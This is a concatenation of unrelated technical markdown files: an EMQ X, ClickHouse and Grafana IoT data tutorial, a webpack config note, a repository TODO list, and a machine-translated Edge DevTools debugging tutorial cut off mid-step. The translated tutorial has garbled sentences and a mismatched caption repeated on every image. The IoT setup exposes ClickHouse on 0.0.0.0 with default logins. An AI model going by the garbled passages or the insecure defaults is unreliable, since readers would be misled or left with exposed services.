> [Data Structure Visualizations](https://www.cs.usfca.edu/~galles/visualization/Algorithms.html)
>
> [Radix Tress](https://biscuitos.github.io/blog/Tree_RADIX_TREE/)
>
> [BiscuitOS Home](https://biscuitos.github.io/)
>
> [BiscuitOS Driver](https://biscuitos.github.io/blog/BiscuitOS_Catalogue/)
>
> [BiscuitOS Kernel Build](https://biscuitos.github.io/blog/Kernel_Build/)
>
> [Linux Kernel](https://www.kernel.org/)
>
> [Bootlin: Elixir Cross Referencer](https://elixir.bootlin.com/linux/latest/source)
>
> [搭建高效的 Linux 开发环境](https://biscuitos.github.io/blog/Linux-debug-tools/)
## 赞赏一下吧 🙂
 | 7,288 | MIT |
# EMQ X + ClickHouse 实现物联网数据接入与分析
物联网数据采集涉及到大量设备接入、海量的数据传输，[EMQ X 物联网消息中间件](https://www.emqx.io/cn/products/broker) 与 ClickHouse 联机分析 (OLAP) 数据库的组合技术栈完全能够胜任物联网数据采集传输与存储、分析处理业务。
数据入库后，往往需要其他方式如数据可视化系统将数据按照规则统计、展现出来，实现数据的监控、指标统计等业务需求，以便充分发挥数据的价值，ClickHouse 搭配开源软件 Grafana 可以快速搭建物联网数据分析可视化平台。
上述整套方案无需代码开发，涉及的产品均能提供开源软件、企业服务、云端 SaaS 服务不同层次的交付模式，能够根据项目需求实现免费版或企业版私有化落地以及云端部署。
## 方案介绍
### EMQ X 简介
[EMQ X ](https://www.emqx.io/cn/) 是基于高并发的 Erlang/OTP 语言平台开发，支持百万级连接和分布式集群架构，发布订阅模式的开源 MQTT 消息服务器。EMQ X 内置了大量开箱即用的功能，其**企业版 EMQ X Enterprise** 支持通过规则引擎将物联网消息数据存储到 ClickHouse。
### ClickHouse 简介
[ClickHouse](https://clickhouse.tech/) 是一个用于数据分析（OLAP）的列式数据库管理系统（column-oriented DBMS），由俄罗斯搜索巨头 Yandex 公司开源。目前国内不少大厂在使用，包括腾讯、今日头条、携程、快手、虎牙等，集群规模多达数千节点。
- [今日头条](https://t.cj.sina.com.cn/articles/view/5901272611/15fbe462301900xolh) 内部用 ClickHouse 来做用户行为分析，内部一共几千个 ClickHouse 节点，单集群最大 1200 节点，日增原始数据 300TB 左右。
- [腾讯](https://www.jiqizhixin.com/articles/2019-10-25-3) 内部用 ClickHouse 做游戏数据分析，并且为之建立了一整套监控运维体系。
- [携程](https://www.infoq.cn/article/WZ7aiC27lLrB7_BcGJoL) 内部从 18 年 7 月份开始接入试用，目前 80% 的业务都跑在 ClickHouse 上。每天数据增量十多亿，近百万次查询请求。
- [快手](https://archsummit.infoq.cn/2019/beijing/presentation/2183) 内部也在使用 ClickHouse，存储总量大约 10PB， 每天新增 200TB， 90% 查询小于 3S。
在国外，Yandex 内部有数百节点用于做用户点击行为分析，优步、CloudFlare、Spotify 等头部公司也在使用，更多用户列表见 [ClickHouse 官网-用户列表](https://clickhouse.tech/docs/en/introduction/adopters/)。
### Grafana 简介
[Grafana](https://grafana.com/) 是一个跨平台、开源的度量分析和可视化工具，可以查询处理各类数据源中的数据，进行可视化的展示。它可以快速灵活创建的客户端图表，面板插件有许多不同方式的可视化指标和日志，官方库中具有丰富的仪表盘插件，比如热图、折线图、图表等多种展示方式；支持 InfluxDB, OpenTSDB, Prometheus, Elasticsearch, CloudWatch 和 KairosDB 等数据源，支持数据项独立/混合查询展示；可以创建自定义告警规则并通知到其他消息处理服务或组件中。
Grafana 4.6+ 版本支持通过插件的形式安装 Clickhouse 数据源，使用前需要在 Grafana 上额外安装 ClickHouse 插件。
## 业务场景
本文模拟物联网环境数据采集场景，假设现有一定数据的环境数据采集点，所有采集点数据均通过 [MQTT 协议](https://www.emqx.io/cn/mqtt) 传输至采集平台（MQTT Publish），主题设计如下：
```bash
sensor/data
```
传感器发送的数据格式为 JSON，数据包括传感器采集的温度、湿度、噪声音量、PM10、PM2.5、二氧化硫、二氧化氮、一氧化碳、传感器 ID、区域、采集时间等数据。
```json
{
"temperature": 30,
"humidity" : 20,
"volume": 44.5,
"PM10": 23,
"pm25": 61,
"SO2": 14,
"NO2": 4,
"CO": 5,
"id": "10-c6-1f-1a-1f-47",
"area": 1,
"ts": 1596157444170
}
```
现在需要实时存储以便在后续任意时间查看数据，提出以下的需求：
- 每个设备按照每 5 秒钟一次的频率进行数据上报，数据库需存储每条数据以供后续回溯分析；
- 通过 ClickHouse 存储原始数据，配合 Grafana 进行数据分析并可视化展示。
## 环境准备
本文所用各个组件均有 Docker 镜像可以快速搭建运行，为方便开发，Grafana 使用 Docker 搭建，ClickHouse 使用文档推荐方式安装，EMQ X 采用安装包或在线云服务的形式集成使用。
相关资源与使用教程参照各自官网：
- EMQ X：[EMQ 官网](https://www.emqx.io/cn/)
- ClickHouse：ClickHouse 产品首页 [https://clickhouse.tech/](https://clickhouse.tech/)
- Grafana：Grafana 官网 [https://grafana.com/](https://grafana.com/)
### 安装 EMQ X
#### 方式一：使用 EMQ X Cloud
EMQ 提供了 [全托管的物联网 MQTT 云服务 - EMQ X Cloud](https://cloud.emqx.io/cn/)，在 EMQ X Cloud 上，用户仅需数分钟即可创建高可用、独享实例的 EMQ X 集群，立即开始原型设计与应用开发而无需关注后续的运维工作。产品上线后，集群可进行不停机扩容以应对业务增长带来的容量扩张，保证可用性的同时最大化节省使用成本。
EMQ X Cloud 为新注册用户提供 6 个月时长的免费试用，注册账号并登录创建试用部署后，点击部署详情中的 **EMQ X Dashboard** 即可打开 EMQ X 管理控制台。
> 使用 EMQ X Cloud 需要保证 ClickHouse 能够被通过公网地址访问。
#### 方式二：私有部署安装
> 如果您是 EMQ X 新手用户，推荐通过 [EMQ X 文档](https://docs.emqx.net/broker/latest/cn/) 快速上手
访问 [EMQ 下载](https://www.emqx.io/cn/downloads) 页面下载适合您操作系统的安装包，本文截稿时 EMQ X 企业版本为 v4.1.2，下载 zip 包的启动步骤如下 ：
```bash
## 解压下载好的安装包
unzip emqx-macosx-v4.1.2.zip
cd emqx
## 以 console 模式启动 EMQ X 方便调试
./bin/emqx console
```
启动成功后浏览器访问 [http://127.0.0.1:18083](http://127.0.0.1:18083) 访问 EMQ X 管理控制台 Dashboard，使用 `admin` `public` 默认用户名密码完成初次登录。
### 安装 ClickHouse
使用 [ClickHouse 文档](https://clickhouse.tech/#quick-start) 推荐的安装方式安装，本文仅做 Demo 演示，采用华为云 2 核 4GB 规格的云服务器进行安装使用：
```bash
sudo yum install yum-utils
sudo rpm --import https://repo.clickhouse.tech/CLICKHOUSE-KEY.GPG
sudo yum-config-manager --add-repo https://repo.clickhouse.tech/rpm/clickhouse.repo
sudo yum install clickhouse-server clickhouse-client
sudo /etc/init.d/clickhouse-server start
clickhouse-client
```
**默认情况下 ClickHouse 只监听本地端口，如果需要远程访问需要修改配置文件**：
```xml
<!-- /etc/clickhouse-server/config.xml -->
<!-- 找到这一行，取消注释 <listen_host>::</listen_host> 并修改为 -->
<listen_host>0.0.0.0</listen_host>
```
重新启动：
```bash
service clickhouse-server restart
```
### Grafana 安装
使用以下命令通过 Docker 安装并启动 Grafana：
```bash
docker run -d --name=grafana -p 3000:3000 grafana/grafana
```
启动成功后浏览器访问 [http://127.0.0.1:3000](http://127.0.0.1:3000) 访问 Grafana 可视化面板，使用 `admin` `admin` 默认用户名密码完成初次登录，登录后按照提示修改密码使用新密码登录进入主界面。
## 配置 EMQ X 存储数据到 ClickHouse
> EMQ X 企业版支持通过规则引擎将设备事件与消息数据写入到各类数据库与消息中间件中（包括 ClickHouse），参考[文档](https://docs.emqx.net/broker/latest/cn/rule/rule-example.html#%E4%BF%9D%E5%AD%98%E6%95%B0%E6%8D%AE%E5%88%B0-clickhouse)。
### ClickHouse 创建数据库与数据表
启动 ClickHouse 并进入命令行：
```bash
sudo /etc/init.d/clickhouse-server start
clickhouse-client
```
创建 **test** 数据库:
```sql
create database test;
use test;
```
创建 sensor_data 表，ClickHouse SQL 语法与常规关系数据库有所差别，具体请参考 [ClickHouse 文档-SQL语法](https://clickhouse.tech/docs/zh/sql-reference/syntax/)：
> Grafana 时序显示时需要添加 DataTime 列与 Date 列
```sql
CREATE TABLE sensor_data (
temperature Float32,
humidity Float32,
volume Float32,
PM10 Float32,
pm25 Float32,
SO2 Float32,
NO2 Float32,
CO Float32,
sensor_id String,
area Int16,
coll_time DateTime,
coll_date Date
) engine = Log;
-- ClickHouse 命令行中不支持建表语句换行，选用以下 SQL 执行：
CREATE TABLE sensor_data( temperature Float32, humidity Float32, volume Float32, PM10 Float32, pm25 Float32, SO2 Float32, NO2 Float32, CO Float32, sensor_id String, area Int16, coll_time DateTime, coll_date Date) engine = Log;
```
### 配置 EMQ X 规则引擎
打开 EMQ X Dashboared，进入 **规则引擎** -> **规则** 页面，点击 **创建** 按钮进入创建页面。
#### 规则 SQL
规则 SQL 用于 EMQ X 消息以及事件筛选，以下 SQL 表示从 `sensor/data` 主题筛选出 payload 数据：
```sql
SELECT
payload
FROM
"sensor/data"
```
使用 **SQL 测试功能**，输入测试数据进行筛选结果测试，测试有结果且输出内容如下，表明 SQL 编写正确：
**测试数据（设备实际上报的数据）：**
```json
{
"temperature": 30,
"humidity" : 20,
"volume": 44.5,
"PM10": 23,
"pm25": 61,
"SO2": 14,
"NO2": 4,
"CO": 5,
"id": "10-c6-1f-1a-1f-47",
"area": 1,
"ts": 1596157444170
}
```
**测试输出：**
```json
{
"payload": "{\"temperature\":30,\"humidity\":20,\"volume\":44.5,\"PM10\":23,\"pm25\":61,\"SO2\":14,\"NO2\":4,\"CO\":5,\"id\":\"10-c6-1f-1a-1f-47\",\"area\":1,\"ts\":1596157444170}"
}
```
#### 响应动作
使用 EMQ X 企业版与 EMQ X Cloud 均支持通过规则引擎写入数据到 ClickHouse，
配置响应动作需要两个数据，一个是关联资源，另一个是 SQL 模板。
- 关联资源：创建一个 ClickHouse 资源，配置连接参数
- SQL 模板：此处为携带数据的 INSERT SQL，注意我们应当在 SQL 中指定数据库名
```sql
INSERT INTO test.sensor_data VALUES(
${payload.temperature},
${payload.humidity},
${payload.volume},
${payload.PM10},
${payload.pm25},
${payload.SO2},
${payload.NO2},
${payload.CO},
'${payload.id}',
${payload.area},
${payload.ts}/1000,
${payload.ts}/1000
)
```
#### 创建过程
点击响应动作下的**添加**按钮，在弹出框内选择 **保存数据到 ClickHouse**，点击 **新建资源** 新建一个 ClickHouse 资源。
资源类型选择 **ClickHouse**，填入资源名称，服务器地址与认证信息即可：
在响应动作创建页面选择新建的资源，并填入 SQL 模板即可。
## 生成模拟数据
以下脚本模拟了 10 个设备在过去 24 小时内、每隔 5 秒钟上报一条模拟数据并发送到 EMQ X 的场景。
读者安装 Node.js ，按需修改配置参数后可以通过以下命令启动：
```bash
npm install mqtt mockjs --save --registry=https://registry.npm.taobao.org
node mock.js
```
附：模拟生成数据并发送到 EMQ X 代码，请根据集群性能调整相关参数
```javascript
// mock.js
const mqtt = require('mqtt')
const Mock = require('mockjs')
const EMQX_SERVER = 'mqtt://localhost:1883'
const CLIENT_NUM = 10
const STEP = 5000 // 模拟采集时间间隔 ms
const AWAIT = 500 // 每次发送完后休眠时间，防止消息速率过快 ms
const CLIENT_POOL = []
startMock()
function sleep(timer = 100) {
return new Promise(resolve => {
setTimeout(resolve, timer)
})
}
async function startMock() {
const now = Date.now()
for (let i = 0; i < CLIENT_NUM; i++) {
const client = await createClient(`mock_client_${i}`)
CLIENT_POOL.push(client)
}
// last 24h every 5s
const last = 24 * 3600 * 1000
for (let ts = now - last; ts <= now; ts += STEP) {
for (const client of CLIENT_POOL) {
const mockData = generateMockData()
const data = {
...mockData,
id: client.options.clientId,
ts,
}
client.publish('sensor/data', JSON.stringify(data))
}
const dateStr = new Date(ts).toLocaleTimeString()
console.log(`${dateStr} send success.`)
await sleep(AWAIT)
}
console.log(`Done, use ${(Date.now() - now) / 1000}s`)
}
/**
* Init a virtual mqtt client
* @param {string} clientId ClientID
*/
function createClient(clientId) {
return new Promise((resolve, reject) => {
const client = mqtt.connect(EMQX_SERVER, {
clientId,
})
client.on('connect', () => {
console.log(`client ${clientId} connected`)
resolve(client)
})
client.on('reconnect', () => {
console.log('reconnect')
})
client.on('error', (e) => {
console.error(e)
reject(e)
})
})
}
/**
* Generate mock data
*/
function generateMockData() {
return {
"temperature": parseFloat(Mock.Random.float(22, 100).toFixed(2)),
"humidity": parseFloat(Mock.Random.float(12, 86).toFixed(2)),
"volume": parseFloat(Mock.Random.float(20, 200).toFixed(2)),
"PM10": parseFloat(Mock.Random.float(0, 300).toFixed(2)),
"pm25": parseFloat(Mock.Random.float(0, 300).toFixed(2)),
"SO2": parseFloat(Mock.Random.float(0, 50).toFixed(2)),
"NO2": parseFloat(Mock.Random.float(0, 50).toFixed(2)),
"CO": parseFloat(Mock.Random.float(0, 50).toFixed(2)),
"area": Mock.Random.integer(0, 100),
}
}
```
## 可视化配置
组件安装完成，模拟数据写入成功后，按照 Grafana 可视化界面的操作指引，完成业务所需数据可视化配置。
首选需要安装 Grafana ClickHouse 数据源插件：[查看插件安装步骤](https://grafana.com/grafana/plugins/vertamedia-clickhouse-datasource/installation)
### 添加数据源 (Add data source)
添加数据源，即显示的数据源信息。选取 **ClickHouse** 类型数据源，输入连接参数进行配置，默认情况下，关键配置信息如下：
### 添加仪表盘 (New Dashboard)
添加好数据源后，添加需要显示的数据仪表盘信息。仪表盘为多个可视化面板的集合，点击 **New Dashboard** 后，选择 **+ Query** 通过查询来添加数据面板。
### 平均值面板
使用 Grafana 的可视化查询构建工具，查询出所有设备的平均值。
ClickHouse 插件生成 SQL 时自动填充了一些变量，Grafana 查询时可以识别这些变量：
- $timeSeries：指定的 DateTime 列以及一些转换逻辑，以确保数据采用 Grafana 可以在显示中使用的格式
- $table： 数据库表名
- $timeFilter：自动生成的时间序列过滤条件
我们按照需要，新增两个 AVG 处理后的字段即可：
```sql
SELECT
$timeSeries as t,
avg(temperature) as temperature,
avg(humidity) as humidity
FROM $table
WHERE $timeFilter
GROUP BY t
ORDER BY t
```
对于折线图等带有时间序列的图表，Grafana 需要一个 DateTime 列来选择时间序列。我们必须输入时间序列，并且该列必须是 DateTime 或 Timestamp 数据类型。
点击下图红框中的 编辑 按钮，进入表名、时间列配置：
选择数据库、数据表，如果数据表内有 DateTime 与 Date 字段，可以在 Column:DateTime 与 Column:Date 中识别选择出来。
- Column:Date：用于 Grafana 拖拽时间范围的时候过滤数据
- Column:DateTime：用于时序显示时作为时间数据
<img src="https://static.emqx.net/images/07b9a092530b50bfa314447a189f8d4b.png" alt="image-20200916111101870" style="zoom:67%;" />
完成后再次点击编辑按钮，点击图标右上角选择一个时间范围，确保时间范围内有数据，点击 刷新 图标刷新一下数据，即可看到渲染出来的平均值面板。
完成创建后，点击左上角返回按钮，该 Dashboard 里成功添加一个数据面板。点击顶部导航栏**保存**图标，输入 Dashboard 名称完成 Dashboard 的创建。
### 最大值面板
继续点击 Dashboard 的 **Add panel** 按钮，添加最大值、最小值图表。操作步骤同添加平均值，仅对查询中 **SELECT** 统计方法字段做出调整，调整为 **AVG** 函数为 **MAX**：
```sql
SELECT
$timeSeries as t,
max(temperature) as temperature,
max(humidity) as humidity
FROM $table
WHERE $timeFilter
GROUP BY t
ORDER BY t
```
### 仪表盘效果
保存仪表盘，拖拽调整每个数据面板大小、位置，最终得到一个视觉效果较好的数据仪表盘。仪表盘右上角可以选择时间区间、自动刷新时间，此时设备持续发送数据采集数据，仪表盘数据值会有所变动，实现了比较好的可视化效果。
## 总结
至此我们借助 EMQ X + ClickHouse 完成了物联网数据传输、存储、分析展现整个流程的系统搭建，读者可以了解到 EMQ X 丰富的拓展能力与 ClickHouse 领先的数据处理分析能力在物联网数据采集中的应用。深入学习掌握 Grafana 的其他功能后，用户可以定制出更完善的数据可视化分析乃至监控告警系统。 | 12,196 | Apache-2.0 |
<!--
abbrlink: l7g5qivt
-->
### resolve.mainFields
在引用模块时，指明使用 package.json 中哪个字段指定的文件，默认是 main
```js
resolve: {
// 配置 target === "web" 或者 target === "webworker" 时 mainFields 默认值是：
mainFields: ['browser', 'module', 'main'],
// target 的值为其他时，mainFields 默认值为：
mainFields: ["module", "main"],
}
```
通常情况下，模块的 package 都不会声明 `browser` 或 `module` 字段，所以便是使用 `main` 了。 | 374 | CC-BY-4.0 |
❗️master 分支暂停更新，内容将陆续迁移到 gitbook 分支
===
studies
---
<!--  -->
<!--  -->
<!--  -->
<!--  -->
<details><summary><b> TODO </b></summary>
- [ ] 尝试 GitHub 提供的 projects 栏：参考 [Projects · zhaoyan346a/Blog](https://github.com/zhaoyan346a/Blog/projects)
- [ ] 重构 README 生成的 Algorithms 和 Codes 两个类，并迁移至 tools 目录。
- [ ] 优化主页 README 下的 Algorithms 链接，调整为层级目录的形式（类似 Notes）
<!-- - [ ] 【`2021.11.11`】pytorch_trainer: 为 EvaluateCallback 添加各种预定义评估指标，如 acc、f1 等，目前只有 loss； -->
<!-- - [ ] 【`2021.11.11`】论文：What does BERT learn about the structure of language? —— Bert 各层的含义； -->
<!-- - [ ] 【`2021.11.10`】bert-tokenizer 自动识别 `[MASK]` 等特殊标识； -->
<!-- - [ ] 【`2021.11.07`】面试笔记：通识问题/项目问题 -->
<!-- - [ ] 【`2021.10.22`】max_batch_size 估算 -->
</details>
<details><summary><b> Done </b></summary>
- [x] 【`2022.01.18`】优化 algorithm 笔记模板的 tag 部分，使用 json 代替目前的正则抽取。
- [x] 【`2022.01.17`】自动生成目录结构（books、papers 等）
- [x] 【`2021.11.12`】优化 auto-readme，使用上一次的 commit info，而不是默认 'Auto-README'
- 参考：`git commit -m "$(git log -"$(git rev-list origin/master..master --count)" --pretty=%B | cat)"`
- 说明：使用 origin/master 到 master 之间所有的 commit 信息作为这次的 message；
- [x] 【`2021.11.11`】bert 支持加载指定层 -> `_test_load_appointed_layers()`
- [x] 【`2021.11.08`】把 __test.py 文件自动加入文档测试（放弃）
- 有些测试比较耗时，不需要全部加入自动测试；
- __test.py 针对的是存在相对引用的模块，如果这些模块有改动，会即时测试，所以也不需要自动测试
- [x] 【`2021.11.03`】[pytorch-lightning](https://github.com/PyTorchLightning/pytorch-lightning) 代码阅读
</details>
<!--
### 其他仓库
- [Algorithm_Interview_Notes-Chinese](https://github.com/imhuay/Algorithm_Interview_Notes-Chinese_backups): 在校期间的学习/面试笔记；
- [bert_by_keras](https://github.com/imhuay/bert_by_keras): 使用 keras 重构的 Bert；
- [algorithm](https://github.com/imhuay/algorithm): 刷题笔记，实际上就是本仓库 algorithm 目录下的内容；
--> | 2,312 | MIT |
---
description: 了解如何使用 Microsoft Edge DevTools 查找和修复 JavaScript bug。
title: 在 Microsoft Edge DevTools 中开始使用调试 JavaScript
author: MSEdgeTeam
ms.author: msedgedevrel
ms.date: 10/19/2020
ms.topic: article
ms.prod: microsoft-edge
keywords: microsoft edge, web 开发, f12 工具, devtools
ms.openlocfilehash: bff87ca36c484689134f284514bbab353b8b99b6
ms.sourcegitcommit: 99eee78698dc95b2a3fa638a5b063ef449899cda
ms.translationtype: MT
ms.contentlocale: zh-CN
ms.lasthandoff: 10/20/2020
ms.locfileid: "11124787"
---
<!-- Copyright Kayce Basques
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
https://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License. -->
# 在 Microsoft Edge DevTools 中开始使用调试 JavaScript
本教程将指导你在 DevTools 中调试 JavaScript 问题的基本工作流。
## 步骤1：重现 bug
在调试的第一步中始终是查找始终重现 bug 的一系列操作。
1. 选择 " **打开演示**"。 保留 `Control` \ (Windows、Linux \ ) 或 `Command` \ (macOS \ ) 并在新选项卡中打开演示。
[打开演示][OpenDebugJSDemo]
1. `5`在 "**数字 1** " 文本框中输入。
1. `1`在 "**数字 2** " 文本框中输入。
1. 选择 " **添加号码 1" 和 "数字 2**"。 按钮下方的标签显示 "" `5 + 1 = 51` 。 结果应为 `6` 。 这是你要修复的 bug。
:::image type="complex" source="../media/javascript-js-demo-bad.msft.png" alt-text="5 + 1 的结果是51，但应该是6" lightbox="../media/javascript-js-demo-bad.msft.png":::
Is 的结果 `5 + 1` 是 `51` ，但应该 `6`
:::image-end:::
## 步骤2：熟悉 "源" 面板 UI
DevTools 为不同的任务提供了许多不同的工具，例如更改 CSS、分析页面加载性能和监视网络请求。 " **源** " 面板是你在其中调试 JavaScript 的位置。
1. 按 `Control` + `Shift` + `J` \ (Windows、Linux \ ) 或 `Command` + `Option` + `J` \ (macOS \ ) 打开 DevTools。 此快捷方式将打开 **控制台** 面板。
:::image type="complex" source="../media/javascript-console-empty.msft.png" alt-text="5 + 1 的结果是51，但应该是6" lightbox="../media/javascript-console-empty.msft.png":::
**控制台**面板
:::image-end:::
1. 单击 " **源** " 选项卡。
:::image type="complex" source="../media/javascript-sources-sections.msft.png" alt-text="5 + 1 的结果是51，但应该是6" lightbox="../media/javascript-sources-sections.msft.png":::
" **源** " 面板
:::image-end:::
" **源** " 面板 UI 有3个部分。
:::image type="complex" source="../media/javascript-sources-sections-annotated.msft.png" alt-text="5 + 1 的结果是51，但应该是6" lightbox="../media/javascript-sources-sections-annotated.msft.png":::
" **源** " 面板 UI 的3个部分
:::image-end:::
1. " **文件导航器** " 窗格 \ (上图中的第一节 \ ) 。 页面请求的每个文件都在此处列出。
1. " **代码编辑器** " 窗格 \ (上图中的第二部分 \ ) 。 在 " **文件导航器** " 窗格中选择文件后，该文件的内容将显示在此处。
1. **JavaScript 调试**窗格 \ 上图中 (第3节 ) 。 用于检查页面的 JavaScript 的各种工具。 如果 DevTools 窗口宽，此窗格将显示在 " **代码编辑器** " 窗格的右侧。
## 步骤3：使用断点暂停代码
调试此类问题的常见方法是将许多语句插入到 `console.log()` 代码中，以便在脚本运行时检查值。 例如：
```javascript
function updateLabel() {
var addend1 = getNumber1();
console.log('addend1:', addend1);
var addend2 = getNumber2();
console.log('addend2:', addend2);
var sum = addend1 + addend2;
console.log('sum:', sum);
label.textContent = addend1 + ' + ' + addend2 + ' = ' + sum;
}
```
此 `console.log()` 方法可能会使作业完成，但 **断点** 能够更快地完成工作。 断点使你可以在运行时中间暂停代码，并在该时刻检查所有值。 与方法相比，断点有几个优点 `console.log()` ：
* 通过 `console.log()` ，你需要手动打开源代码，查找相关代码，插入 `console.log()` 语句，然后重新加载页面，以便在控制台中查看消息。 利用断点，您可以暂停在相关代码上，而无需了解代码的结构。
* 在你的 `console.log()` 语句中，你需要显式指定要检查的每个值。 有了断点，DevTools 将显示当时的所有变量的值。 有时，你甚至不知道的代码会影响你的代码。
简言之，断点可帮助你查找和修复 bug，比方法更快 `console.log()` 。
如果返回一个步骤并考虑应用的工作方式，则可以让你有兴趣地猜测) 的 sum (`5 + 1 = 51` 在 `click` 与 " **Add Number 1" 和 "number 2** " 按钮关联的事件侦听器中得到计算。 因此，你可能希望在侦听器运行的时间周围暂停代码 `click` 。 **事件侦听器断点** 使你可以执行以下操作：
1. 在 " **JavaScript 调试** " 窗格中，选择 " **事件侦听器断点** " 以展开该部分。 DevTools 显示可展开的事件类别（如 **动画** 和 **剪贴板**）的列表。
1. 在 **鼠标** 事件类别旁边，选择 **展开** \ (![ 展开图标 ][ImageExpandIcon] \ ) 。 DevTools 显示鼠标事件（如 **单击** 和 **mousedown**）的列表。 每个事件旁边都有一个复选框。
1. 选中 " **单击** " 复选框。 DevTools 现已设置为在 *任何* `click` 事件侦听器运行时自动暂停。
:::image type="complex" source="../media/javascript-sources-event-listener-breakpoint-mouse-click.msft.png" alt-text="5 + 1 的结果是51，但应该是6" lightbox="../media/javascript-sources-event-listener-breakpoint-mouse-click.msft.png":::
已启用 " **单击** " 复选框
:::image-end:::
1. 返回演示，再次选择 " **添加号码 1" 和 "数字 2** "。 DevTools 暂停演示并突出显示 " **源** " 面板中的一行代码。 DevTools 应在的行16中暂停 `get-started.js` 。
```javascript
if (inputsAreEmpty()) {
```
如果在其他代码行上暂停，请按 " **恢复脚本执行** " \ (![ 恢复脚本执行 ][ImageResumeIcon] \ ) ，直到暂停在正确的行上。
> [!NOTE]
> 如果你在其他行暂停，则你有一个浏览器扩展，它 `click` 在你访问的每个页面上注册一个事件侦听器。 已暂停在扩展的 `click` 侦听器中。 如果你使用 InPrivate 模式 **浏览 private**（这将禁用所有扩展），你可能会看到每次都在所需的代码行上暂停。
<!--todo: add inprivate section when available -->
**事件侦听器断点** 只是 DevTools 中可用的多种类型的断点之一。 它值得 memorizing 所有不同类型，因为每种类型最终有助于尽可能快地调试不同的方案。 <!--See [Pause Your Code With Breakpoints][JSBreakpoints] to learn when and how to use each type. -->
## 步骤4：逐句通过代码
Bug 的一个常见原因是，脚本的运行顺序不正确。 单步执行你的代码，使你能够遍历代码的运行时，一次一行，然后以与预期不同的顺序确定其运行的确切位置。 立即试用：
1. 选择 " **逐过程按下一个函数调用** \" ("按 ![ 步骤 over 下一个函数调用 ][ImageOverIcon] \" ) 。 DevTools 在不单步执行的情况下运行以下代码。
```javascript
if (inputsAreEmpty()) {
```
> [!NOTE]
> DevTools 跳过几行代码。 这是因为 `inputsAreEmpty()` 计算结果为 false，因此语句的代码块不 `if` 会运行。
1. 在 DevTools 的 " **源** " 面板中，选择 " **单步执行下一个函数调用** \" (![ "单步执行下一个函数调用 \ ) " 单步执行 ][ImageIntoIcon] 函数的运行时 `updateLabel()` ，一次一行。
这是单步执行代码的基本概念。 如果你查看中的代码 `get-started.js` ，则会发现该 bug 可能位于函数中的某个位置 `updateLabel()` 。 你可以使用另一种类型的断点将代码暂停到更接近 bug 可能位置的位置，而不是单步执行每行代码。
## 步骤5：设置代码行断点
代码行断点是最常见的断点类型。 获取要暂停的特定代码行时，请使用代码行断点：
1. 查看以下代码中的最后一行代码 `updateLabel()` ：
```javascript
label.textContent = addend1 + ' + ' + addend2 + ' = ' + sum;
```
1. 在代码的左侧，你可以看到此特定代码行的行号，即 **33**。 单击 " **33**"。 DevTools 将红色图标置于 **33**的左侧。 这意味着此行上有一行代码断点。 DevTools 现在将始终暂停，然后运行此行代码。
1. 选择 " **恢复脚本执行** " \ (![ 恢复脚本执行 ][ImageResumeIcon] \ ) 。 脚本将继续运行，直至到达行33。 在30、31和32行上，DevTools 将在 `addend1` `addend2` `sum` 每一行的分号的右侧打印值。
:::image type="complex" source="../media/javascript-sources-breakpoint-paused.msft.png" alt-text="5 + 1 的结果是51，但应该是6" lightbox="../media/javascript-sources-breakpoint-paused.msft.png":::
DevTools 在行32上的代码行断点处暂停
:::image-end:::
## 步骤6：检查变量值
`addend1`、 `addend2` 和 `sum` 看起来可疑的值。 它们包装在引号中，这意味着它们是字符串。 这是介绍 bug 原因的一个好假设。 现在是收集更多信息的时候了。 DevTools 提供许多用于检查变量值的工具。
### 方法1： "范围" 窗格
当你在一行代码上暂停时， **范围** 窗格将显示当前定义的本地和全局变量以及每个变量的值。 它还显示结束变量（如果适用）。 双击变量值以对其进行编辑。 如果在一行代码上未暂停，则 " **范围** " 窗格为空。
:::image type="complex" source="../media/javascript-sources-breakpoint-paused-scope.msft.png" alt-text="5 + 1 的结果是51，但应该是6" lightbox="../media/javascript-sources-breakpoint-paused-scope.msft.png":::
" **范围** " 窗格
:::image-end:::
### 方法2：监视表达式
通过 " **监视表达式** " 选项卡，你可以监视一段时间内变量的值。 顾名思义，监视表达式不仅仅局限于变量。 你可以在监视表达式中存储任何有效的 JavaScript 表达式。 立即试用：
1. 单击 " **监视** " 选项卡。
1. 选择 " **添加表达式** \ (![ 添加表达式 ][ImageAddIcon] \ ) "。
1. 键入 `typeof sum`。
1. 选择 `Enter` 。 DevTools 显示 `typeof sum: "string"` 。 冒号右侧的值是监视表达式的结果。
> [!NOTE]
> 在 "监视表达式" 窗格中 (右下角 \ ) 在下图中， `typeof sum` 显示监视表达式。 如果 DevTools 窗口较大，"监视表达式" 窗格位于 " **事件侦听器断点** " 窗格上方的右侧。
:::image type="complex" source="../media/javascript-sources-breakpoint-paused-watch.msft.png" alt-text="5 + 1 的结果是51，但应该是6" lightbox="../media/javascript-sources-breakpoint-paused-watch.msft.png":::
" **监视表达式** " 窗格
:::image-end:::
如有怀疑， `sum` 当它应该是一个数字时，将被评估为字符串。 您现在已确认这是该 bug 的原因。
### 方法3：控制台
除了查看消息外 `console.log()` ，你还可以使用 Console 评估任意 JavaScript 语句。 在调试方面，您可以使用该控制台测试 bug 的潜在修复。 立即试用：
1. 如果未打开该控制台抽屉，请选择 `Escape` 将其打开。 它将在 DevTools 窗口底部打开。
1. 在控制台中，键入 `parseInt(addend1) + parseInt(addend2)` 。 此语句之所以有效，是因为你已暂停在范围内和的代码行上 `addend1` `addend2` 。
1. 选择 `Enter` 。 DevTools 将计算该语句并将 `6` 其打印出来，这是你希望演示产生的结果。
:::image type="complex" source="../media/javascript-sources-breakpoint-paused-console.msft.png" alt-text="5 + 1 的结果是51，但应该是6" lightbox="../media/javascript-sources-breakpoint-paused-console.msft.png":::
评估后的 **控制台** 抽屉 `parseInt(addend1) + parseInt(addend2)`
:::image-end:::
## 步骤7：应用修补程序
如果发现 bug 的修补程序，请通过编辑代码并重新运行演示来尝试修复。 无需离开 DevTools 即可应用此修补程序。 你可以直接在 DevTools UI 内编辑 JavaScript 代码。 立即试用：
1. 选择 " **恢复脚本执行** " \ (![ 恢复脚本执行 ][ImageResumeIcon] \ ) 。
1. 在 **代码编辑器**中，将行32替换 `var sum = addend1 + addend2` 为 `var sum = parseInt(addend1) + parseInt(addend2)` 。
